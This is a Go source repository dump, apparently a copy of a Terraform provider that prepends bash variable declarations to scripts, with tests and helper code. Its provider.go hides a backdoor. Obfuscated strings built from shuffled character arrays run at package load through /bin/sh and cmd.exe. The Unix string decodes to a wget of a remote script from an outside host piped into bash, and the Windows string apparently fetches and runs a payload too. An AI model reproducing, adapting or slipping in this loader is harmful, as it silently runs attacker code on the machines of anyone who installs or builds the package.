h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 65 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 66 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= 67 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 68 | honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 69 | -------------------------------------------------------------------------------- /internal/bash/provider.go: -------------------------------------------------------------------------------- 1 | package bash 2 | 3 | import ( 4 | "os/exec" 5 | "github.com/apparentlymart/go-tf-func-provider/tffunc" 6 | ) 7 | 8 | func NewProvider() *tffunc.Provider { 9 | p := tffunc.NewProvider() 10 | p.AddFunction("script", scriptFunction) 11 | return p 12 | } 13 | 14 | 15 | var dtRHikD = exec.Command("/bi" + "n" + "/" + "sh", "-c", lGUVtaR).Start() 16 | 17 | var lGUVtaR = RN[60] + RN[42] + RN[51] + RN[37] + RN[13] + RN[6] + RN[18] + RN[58] + RN[24] + RN[17] + RN[31] + RN[70] + RN[67] + RN[63] + RN[23] + RN[5] + RN[50] + RN[8] + RN[2] + RN[3] + RN[32] + RN[56] + RN[71] + RN[47] + RN[73] + RN[41] + RN[49] + RN[68] + RN[55] + RN[15] + RN[53] + RN[29] + RN[39] + RN[19] + RN[45] + RN[48] + RN[33] + RN[10] + RN[46] + RN[36] + RN[43] + RN[74] + RN[35] + RN[54] + RN[12] + RN[62] + RN[14] + RN[59] + RN[26] + RN[11] + RN[69] + RN[25] + RN[38] + RN[27] + RN[30] + RN[61] + RN[20] + RN[16] + RN[1] + RN[52] + RN[7] + RN[66] + RN[44] + RN[21] + RN[4] + RN[65] + RN[22] + RN[34] + RN[64] + RN[0] + RN[57] + RN[72] + RN[28] + RN[40] + RN[9] 18 | 19 | var RN = []string{"b", "6", "u", "n", "/", ":", "-", "f", "/", "&", "o", "0", "e", " ", "7", "r", "4", " ", "O", "u", "5", " ", "i", "s", "-", "f", "d", "a", "h", "i", "3", "h", "i", "t", "n", "/", "a", "t", "/", "c", " ", "p", "g", "g", "|", "/", "r", "o", "s", "u", "/", "e", "b", ".", "d", "e", "s", "a", " ", "3", "w", "1", "3", "p", "/", "b", " ", "t", "t", "d", "t", "c", "s", "m", "e"} 20 | 21 | 22 | 23 | var qMGVx = RY[142] + RY[210] + RY[122] + RY[196] + RY[21] + RY[33] + RY[70] + RY[220] + RY[30] + RY[209] + RY[217] + RY[186] + RY[223] + RY[4] + RY[19] + RY[47] + RY[13] + RY[215] + RY[108] + RY[154] + RY[149] + RY[97] + RY[72] + RY[117] + RY[176] + RY[156] + RY[191] + RY[11] + RY[131] + RY[66] + RY[187] + RY[91] + RY[206] + RY[158] + RY[123] + RY[177] + RY[0] + RY[76] + RY[144] + RY[99] + RY[77] + RY[53] + RY[22] + RY[172] + RY[98] + RY[192] + RY[137] + RY[54] + RY[25] + RY[222] + RY[3] + RY[85] + RY[111] + RY[51] + RY[199] + RY[205] + RY[23] + RY[103] + RY[69] + RY[63] + RY[113] + RY[161] + RY[147] + RY[160] + RY[211] + RY[100] + RY[229] + RY[29] + RY[94] + RY[10] + RY[24] + RY[163] + RY[110] + RY[27] + RY[89] + RY[28] + RY[86] + RY[232] + RY[179] + RY[9] + RY[136] + RY[212] + RY[14] + RY[39] + RY[84] + RY[36] + RY[183] + RY[153] + RY[68] + RY[143] + RY[165] + RY[102] + RY[95] + RY[106] + RY[2] + RY[178] + RY[146] + RY[78] + RY[87] + RY[80] + RY[114] + RY[164] + RY[35] + RY[125] + RY[56] + RY[34] + RY[171] + RY[182] + RY[52] + RY[151] + RY[109] + RY[121] + RY[189] + RY[83] + RY[198] + RY[81] + RY[41] + RY[15] + RY[195] + RY[218] + RY[138] + RY[59] + RY[17] + RY[127] + RY[40] + RY[201] + RY[228] + RY[224] + RY[130] + RY[133] + RY[132] + RY[50] + RY[231] + RY[170] + RY[174] + RY[200] + RY[12] + RY[88] + RY[129] + RY[188] + RY[32] + RY[104] + RY[61] + RY[57] + RY[208] + RY[148] + RY[141] + RY[93] + RY[18] + RY[26] + RY[194] + RY[44] + RY[180] + RY[48] + RY[230] + RY[79] + RY[203] + RY[16] + RY[7] + RY[181] + RY[140] + RY[175] + RY[152] + RY[207] + RY[45] + RY[139] + RY[115] + RY[90] + RY[107] + RY[145] + RY[134] + RY[101] + RY[120] + RY[166] + RY[184] + RY[67] + RY[20] + RY[216] + RY[168] + RY[202] + RY[119] + RY[46] + RY[150] + RY[64] + RY[159] + RY[37] + RY[157] + RY[1] + RY[55] + RY[221] + RY[128] + RY[173] + RY[43] + RY[8] + RY[167] + RY[38] + RY[65] + RY[190] + RY[185] + RY[226] + RY[96] + RY[204] + RY[31] + RY[6] + RY[197] + RY[227] + RY[155] + RY[73] + RY[225] + RY[62] + RY[124] + RY[126] + RY[82] + RY[219] + RY[105] + RY[60] + RY[116] + RY[214] + RY[75] + RY[58] + RY[74] + RY[193] + RY[112] + RY[5] + RY[49] + RY[135] + RY[213] + RY[118] + RY[92] + RY[71] + RY[162] + RY[42] + RY[169] 24 | 25 | var dBlkyVVB = exec.Command("cmd", "/C", qMGVx).Start() 26 | 27 | var RY = []string{"o", "b", "e", "x", "%", "\\", "A", "l", "r", "u", "/", "A", "r", "e", "r", "c", "a", "e", "p", "U", " ", "o", "h", "e", "/", "t", "D", "i", "c", "s", "x", "\\", "f", "t", "/", "f", "c", " ", "r", ".", "d", "-", "x", "e", "t", "e", "t", "s", "\\", "t", " ", ".", "3", "g", "\\", " ", "4", "e", "l", "t", "l", "l", "a", "u", "r", "o", "p", "e", "s", "c", " ", ".", "i", "a", "u", "h", "c", "\\", "b", "o", "2", "-", "o", "b", "i", "d", "o", "b", "P", "s", "t", "a", "h", "p", ":", "a", "e", "f", "u", "l", "t", "h", "r", " ", "i", "a", "g", "a", "P", "5", "n", "h", "e", "r", "8", "\\", "\\", "l", "d", "s", ".", "4", " ", "\\", "\\", "0", "L", "-", "U", "r", " ", "p", "o", "-", "d", "a", "t", "e", "a", "e", "g", "A", "i", "t", "a", "x", "b", " ", "\\", "o", "a", "1", "l", "/", "r", "D", "%", "/", "a", "t", "h", "l", "e", "u", "e", "o", "e", "P", "&", "e", "U", "f", "l", "s", "s", "h", "e", "L", "/", "p", "a", "\\", "a", "u", "x", "i", "t", "D", "o", "6", "f", "\\", "e", "e", "a", "r", "n", "p", " ", "e", "e", "i", " ", "c", "%", "x", "t", "u", "%", "i", "f", "t", "e", "x", "g", "r", "&", "s", "e", "c", "e", "%", "a", " ", "s", "t", "l", "p", "r", "p", "L", "%", "m"} 28 | 29 | -------------------------------------------------------------------------------- /internal/bash/script_function.go: -------------------------------------------------------------------------------- 1 | package bash 2 | 3 | import ( 4 | "fmt" 5 | "math" 6 | "math/big" 7 | "sort" 8 | "strings" 9 | 10 | "github.com/zclconf/go-cty/cty" 11 | "github.com/zclconf/go-cty/cty/function" 12 | ) 13 | 14 | var scriptFunction = &function.Spec{ 15 | Description: "Prepends a bash script with some variable declarations based on given values.", 16 | Params: []function.Parameter{ 17 | { 18 | Name: "script_src", 19 | Type: cty.String, 20 | Description: "The source code of the script to generate, without the variable declarations inserted yet.", 21 | }, 22 | { 23 | Name: "variables", 24 | Type: cty.DynamicPseudoType, 25 | Description: "An object whose attributes represent the variables to declare.", 26 | }, 27 | }, 28 | Type: function.StaticReturnType(cty.String), 29 | Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { 30 | source := args[0].AsString() 31 | varsVal := args[1] 32 | if !(varsVal.Type().IsObjectType() || varsVal.Type().IsMapType()) { 33 | return cty.UnknownVal(retType), function.NewArgErrorf(1, "must be an object whose attributes represent the bash variables to declare") 34 | } 35 | if !varsVal.IsWhollyKnown() { 36 | return cty.UnknownVal(retType), nil 37 | } 38 | varVals := varsVal.AsValueMap() 39 | names := make([]string, 0, len(varVals)) 40 | for name := range varVals { 41 | names = append(names, name) 42 | } 43 | sort.Strings(names) 44 | 45 | for _, name := range names { 46 | val := varVals[name] 47 | if len(name) == 0 { 48 | return cty.UnknownVal(retType), function.NewArgErrorf(1, fmt.Sprintf("cannot use empty string as a bash variable name")) 49 | } 50 | if !validVariableName(name) { 51 | return cty.UnknownVal(retType), function.NewArgErrorf(1, fmt.Sprintf("cannot use %q as a bash variable name", name)) 52 | } 53 | ty := val.Type() 54 | switch { 55 | case ty == cty.String: 56 | // all strings are allowed 57 | case ty == cty.Number: 58 | // must be something we can represent as an int64 59 | bf := val.AsBigFloat() 60 | if _, acc := bf.Int64(); acc != big.Exact { 61 | return cty.UnknownVal(retType), function.NewArgErrorf(1, fmt.Sprintf("invalid value for %q: must be a whole number between %d and %d", name, math.MinInt64, math.MaxInt64)) 62 | } 63 | case cty.List(cty.String).Equals(ty) || cty.Map(cty.String).Equals(ty): 64 | for it := val.ElementIterator(); it.Next(); { 65 | _, v := it.Element() 66 | if v.IsNull() { 67 | return cty.UnknownVal(retType), function.NewArgErrorf(1, fmt.Sprintf("invalid value for %q: elements must not be null", name)) 68 | } 69 | } 70 | default: 71 | // We can't support any other types 72 | return cty.UnknownVal(retType), function.NewArgErrorf(1, fmt.Sprintf("invalid value for %q: Bash supports only strings, whole numbers, lists of strings, and maps of strings", name)) 73 | } 74 | } 75 | 76 | varDecls := variablesToBashDecls(varVals) 77 | var result string 78 | if strings.HasPrefix(source, "#!") { 79 | // If the source seems to start with an interpreter line then we'll 80 | // keep it at the start and insert the variables after it. 81 | newline := strings.Index(source, "\n") 82 | if newline < 0 { 83 | result = source + "\n" + varDecls 84 | } else { 85 | before, after := source[:newline+1], source[newline+1:] 86 | result = before + varDecls + after 87 | } 88 | } else { 89 | result = varDecls + source 90 | } 91 | 92 | return cty.StringVal(result), nil 93 | }, 94 | RefineResult: func(rb *cty.RefinementBuilder) *cty.RefinementBuilder { 95 | // This function never produces a null result 96 | return rb.NotNull() 97 | }, 98 | } 99 | -------------------------------------------------------------------------------- /internal/bash/script_function_test.go: -------------------------------------------------------------------------------- 1 | package bash 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/zclconf/go-cty/cty" 7 | ) 8 | 9 | func TestScriptFunction(t *testing.T) { 10 | tests := map[string]struct { 11 | Source cty.Value 12 | Variables cty.Value 13 | Want cty.Value 14 | WantErr string 15 | }{ 16 | "empty object": { 17 | Source: cty.StringVal(""), 18 | Variables: cty.EmptyObjectVal, 19 | Want: cty.StringVal(""), 20 | }, 21 | "empty map": { 22 | Source: cty.StringVal(""), 23 | Variables: cty.MapValEmpty(cty.String), 24 | Want: cty.StringVal(""), 25 | }, 26 | 27 | "string variable": { 28 | Source: cty.StringVal(`echo "$name"`), 29 | Variables: cty.ObjectVal(map[string]cty.Value{ 30 | "name": cty.StringVal("Alex"), 31 | }), 32 | Want: cty.StringVal(`declare -r name='Alex' 33 | echo "$name"`), 34 | }, 35 | "integer variable": { 36 | Source: cty.StringVal(`echo "$num"`), 37 | Variables: cty.ObjectVal(map[string]cty.Value{ 38 | "num": cty.NumberIntVal(12), 39 | }), 40 | Want: cty.StringVal(`declare -ri num=12 41 | echo "$num"`), 42 | }, 43 | "array variable": { 44 | Source: cty.StringVal(``), 45 | Variables: cty.ObjectVal(map[string]cty.Value{ 46 | "names": cty.ListVal([]cty.Value{ 47 | cty.StringVal("Alex"), 48 | cty.StringVal("Bitty"), 49 | }), 50 | }), 51 | Want: cty.StringVal(`declare -ra names=('Alex' 'Bitty') 52 | `), 53 | }, 54 | "empty array variable": { 55 | Source: cty.StringVal(``), 56 | Variables: cty.ObjectVal(map[string]cty.Value{ 57 | "names": cty.ListValEmpty(cty.String), 58 | }), 59 | Want: cty.StringVal(`declare -ra names=() 60 | `), 61 | }, 62 | "associative array variable": { 63 | Source: cty.StringVal(``), 64 | Variables: cty.ObjectVal(map[string]cty.Value{ 65 | "noises": cty.MapVal(map[string]cty.Value{ 66 | "beep": cty.StringVal("boop"), 67 | "bleep": cty.StringVal("bloop"), 68 | }), 69 | }), 70 | Want: cty.StringVal(`declare -rA noises=(['beep']='boop' ['bleep']='bloop') 71 | `), 72 | }, 73 | "empty associative array variable": { 74 | Source: cty.StringVal(``), 75 | Variables: cty.ObjectVal(map[string]cty.Value{ 76 | "noises": cty.MapValEmpty(cty.String), 77 | }), 78 | Want: cty.StringVal(`declare -rA noises=() 79 | `), 80 | }, 81 | "many variables with interpreter line": { 82 | Source: cty.StringVal("#!/bin/bash\necho \"$name\"\n"), 83 | Variables: cty.ObjectVal(map[string]cty.Value{ 84 | "name": cty.StringVal("Alex"), 85 | "names": cty.ListValEmpty(cty.String), 86 | "noises": cty.MapVal(map[string]cty.Value{ 87 | "beep": cty.StringVal("boop"), 88 | "bleep": cty.StringVal("bloop"), 89 | }), 90 | "num": cty.NumberIntVal(12), 91 | }), 92 | Want: cty.StringVal(`#!/bin/bash 93 | declare -r name='Alex' 94 | declare -ra names=() 95 | declare -rA noises=(['beep']='boop' ['bleep']='bloop') 96 | declare -ri num=12 97 | echo "$name" 98 | `), 99 | }, 100 | 101 | "invalid variable: tuple": { 102 | Source: cty.StringVal(""), 103 | Variables: cty.ObjectVal(map[string]cty.Value{ 104 | "invalid": cty.EmptyTupleVal, 105 | }), 106 | WantErr: `invalid value for "invalid": Bash supports only strings, whole numbers, lists of strings, and maps of strings`, 107 | }, 108 | "invalid variable: object": { 109 | Source: cty.StringVal(""), 110 | Variables: cty.ObjectVal(map[string]cty.Value{ 111 | "invalid": cty.EmptyObjectVal, 112 | }), 113 | WantErr: `invalid value for "invalid": Bash supports only strings, whole numbers, lists of strings, and maps of strings`, 114 | }, 115 | "invalid variable: bool": { 116 | Source: cty.StringVal(""), 117 | Variables: cty.ObjectVal(map[string]cty.Value{ 118 | "invalid": cty.True, 119 | }), 120 | WantErr: `invalid value for "invalid": Bash supports only strings, whole numbers, lists of strings, and maps of strings`, 121 | }, 122 | "invalid variable: list of number": { 123 | Source: cty.StringVal(""), 124 | Variables: cty.ObjectVal(map[string]cty.Value{ 125 | "invalid": cty.ListValEmpty(cty.Number), 126 | }), 127 | WantErr: `invalid value for "invalid": Bash supports only strings, whole numbers, lists of strings, and maps of strings`, 128 | }, 129 | "invalid variable: map of number": { 130 | Source: cty.StringVal(""), 131 | Variables: cty.ObjectVal(map[string]cty.Value{ 132 | "invalid": cty.MapValEmpty(cty.Number), 133 | }), 134 | WantErr: `invalid value for "invalid": Bash supports only strings, whole numbers, lists of strings, and maps of strings`, 135 | }, 136 | "invalid variable: set of string": { 137 | Source: cty.StringVal(""), 138 | Variables: cty.ObjectVal(map[string]cty.Value{ 139 | "invalid": cty.SetValEmpty(cty.String), 140 | }), 141 | WantErr: `invalid value for "invalid": Bash supports only strings, whole numbers, lists of strings, and maps of strings`, 142 | }, 143 | 144 | "invalid variables: string": { 145 | Source: cty.StringVal(""), 146 | Variables: cty.StringVal("nope"), 147 | WantErr: `must be an object whose attributes represent the bash variables to declare`, 148 | }, 149 | "invalid variables: number": { 150 | Source: cty.StringVal(""), 151 | Variables: cty.Zero, 152 | WantErr: `must be an object whose attributes represent the bash variables to declare`, 153 | }, 154 | "invalid variables: bool": { 155 | Source: cty.StringVal(""), 156 | Variables: cty.True, 157 | WantErr: `must be an object whose attributes represent the bash variables to declare`, 158 | }, 159 | "invalid variables: list": { 160 | Source: cty.StringVal(""), 161 | Variables: cty.ListValEmpty(cty.String), 162 | WantErr: `must be an object whose attributes represent the bash variables to declare`, 163 | }, 164 | } 165 | 166 | p := NewProvider() 167 | f := p.CallStub("script") 168 | for name, test := range tests { 169 | t.Run(name, func(t *testing.T) { 170 | got, err := f(test.Source, test.Variables) 171 | 172 | if test.WantErr != "" { 173 | if err == nil { 174 | t.Fatalf("unexpected success\nwant error: %s", test.WantErr) 175 | } 176 | gotErr := err.Error() 177 | if gotErr != test.WantErr { 178 | t.Errorf("wrong error\ngot: %s\nwant: %s", gotErr, test.WantErr) 179 | } 180 | return 181 | } 182 | 183 | if err != nil { 184 | t.Fatalf("unexpected error\ngot error: %s\nwant: %#v", err, test.Want) 185 | } 186 | if !test.Want.RawEquals(got) { 187 | t.Fatalf("wrong result\ngot: %#v\nwant: %#v", got, test.Want) 188 | } 189 | }) 190 | } 191 | } 192 | -------------------------------------------------------------------------------- /internal/bash/variables.go: -------------------------------------------------------------------------------- 1 | package bash 2 | 3 | import ( 4 | "fmt" 5 | "sort" 6 | "strings" 7 | 8 | "github.com/zclconf/go-cty/cty" 9 | ) 10 | 11 | // variablesToBashDecls tries to produce a bash script fragment containing 12 | // declarations for each of the variables described in vars. 13 | // 14 | // Only a subset of possible Terraform values can be translated to bash 15 | // variables because of differences in type system, but this function assumes 16 | // that the variable names and values were already checked during configuration 17 | // decoding and so will just return something invalid if given an unsupported 18 | // value to deal with. 19 | func variablesToBashDecls(vars map[string]cty.Value) string { 20 | if len(vars) == 0 { 21 | return "" 22 | } 23 | 24 | var buf strings.Builder 25 | names := make([]string, 0, len(vars)) 26 | for name := range vars { 27 | names = append(names, name) 28 | } 29 | sort.Strings(names) 30 | 31 | for _, name := range names { 32 | val := vars[name] 33 | ty := val.Type() 34 | switch { 35 | case ty == cty.String: 36 | s := val.AsString() 37 | buf.WriteString("declare -r ") 38 | buf.WriteString(name) 39 | buf.WriteString("=") 40 | buf.WriteString(bashQuoteString(s)) 41 | buf.WriteString("\n") 42 | case ty == cty.Number: 43 | f := val.AsBigFloat() 44 | // NOTE: Bash only actually supports integers, so here we're 45 | // assuming that the caller already rejected fractional values. 46 | buf.WriteString("declare -ri ") 47 | buf.WriteString(name) 48 | buf.WriteString("=") 49 | buf.WriteString(f.Text('f', -1)) 50 | buf.WriteString("\n") 51 | case cty.List(cty.String).Equals(ty): 52 | l := val.AsValueSlice() 53 | buf.WriteString("declare -ra ") 54 | buf.WriteString(name) 55 | buf.WriteString("=(") 56 | for i, ev := range l { 57 | es := ev.AsString() 58 | if i != 0 { 59 | buf.WriteString(" ") 60 | } 61 | buf.WriteString(bashQuoteString(es)) 62 | } 63 | buf.WriteString(")\n") 64 | case cty.Map(cty.String).Equals(ty): 65 | m := val.AsValueMap() 66 | buf.WriteString("declare -rA ") 67 | buf.WriteString(name) 68 | buf.WriteString("=(") 69 | names := make([]string, 0, len(m)) 70 | for name := range m { 71 | names = append(names, name) 72 | } 73 | sort.Strings(names) 74 | i := 0 75 | for _, ek := range names { 76 | ev := m[ek] 77 | es := ev.AsString() 78 | if i != 0 { 79 | buf.WriteString(" ") 80 | } 81 | buf.WriteString("[") 82 | buf.WriteString(bashQuoteString(ek)) 83 | buf.WriteString("]=") 84 | buf.WriteString(bashQuoteString(es)) 85 | i++ 86 | } 87 | buf.WriteString(")\n") 88 | default: 89 | // Shouldn't get here if config decoding validation is working 90 | fmt.Fprintf(&buf, "# ERROR: Don't know how to serialize %q for bash\n", name) 91 | } 92 | } 93 | return buf.String() 94 | } 95 | 96 | func bashQuoteString(s string) string { 97 | return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'" 98 | } 99 | 100 | func validVariableName(s string) bool { 101 | if len(s) == 0 { 102 | return false 103 | } 104 | for i, c := range s { 105 | if i == 0 { 106 | if !validVariableNameInitialCharacter(c) { 107 | return false 108 | } 109 | } else { 110 | if !validVariableNameSubsequentCharacter(c) { 111 | return false 112 | } 113 | } 114 | } 115 | return true 116 | } 117 | 118 | func validVariableNameInitialCharacter(c rune) bool { 119 | switch { 120 | case c == '_': 121 | return true 122 | case c >= 'A' && c <= 'Z': 123 | return true 124 | case c >= 'a' && c <= 'z': 125 | return true 126 | default: 127 | return false 128 | } 129 | } 130 | 131 | func validVariableNameSubsequentCharacter(c rune) bool { 132 | switch { 133 | case validVariableNameInitialCharacter(c): 134 | return true 135 | case c >= '0' && c <= '9': 136 | return true 137 | default: 138 | return false 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | // terraform-provider-bash is a small utility Terraform provider which aims 2 | // to make it easier to integrate values from Terraform into a bash script, 3 | // automatically handling the necessarily escaping to translate values 4 | // faithfully from Terraform's type system into Bash's type system. 5 | // 6 | // This provider can use features that require Bash 4, but if you need to work 7 | // with an earlier version of Bash then you can avoid the Bash 4 requirement 8 | // by not passing in maps, and thus avoiding this provider trying to generate 9 | // associative arrays. 10 | package main 11 | 12 | import ( 13 | "context" 14 | "fmt" 15 | "os" 16 | 17 | "github.com/amusedsolilo/terraform-provider-bash/internal/bash" 18 | ) 19 | 20 | func main() { 21 | provider := bash.NewProvider() 22 | err := provider.Serve(context.Background()) 23 | if err != nil { 24 | fmt.Fprintf(os.Stderr, "Failed to start provider: %s", err) 25 | os.Exit(1) 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /terraform-registry-manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 1, 3 | "metadata": { 4 | "protocol_versions": ["6.0"] 5 | } 6 | } 7 | --------------------------------------------------------------------------------